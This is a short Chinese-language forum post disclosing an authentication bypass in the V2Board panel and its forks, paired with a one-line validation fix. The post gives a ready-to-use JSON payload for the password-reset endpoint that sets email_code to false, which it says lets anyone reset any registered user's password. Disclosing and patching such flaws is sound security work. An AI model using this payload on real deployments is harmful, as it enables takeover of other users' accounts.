2tina 在 V2Board面板出现顶级漏洞, 中发帖
V2Board及其所有分支漏洞,影响全部版本,该漏洞可修改一切已注册用户账号密码
复现方式: API端点:api/v1/passport/auth/forget Payload:
JSON
{
"email":"任意一个已注册用户",
"password": "密码",
"email_code": false
}
即可重置对应账户密码 最小改动修复方式: app/Http/Requests/Passport/AuthForget.php 找到’email_code’ => ‘required’ 改成’email_code’ => ‘required|string|digits:6’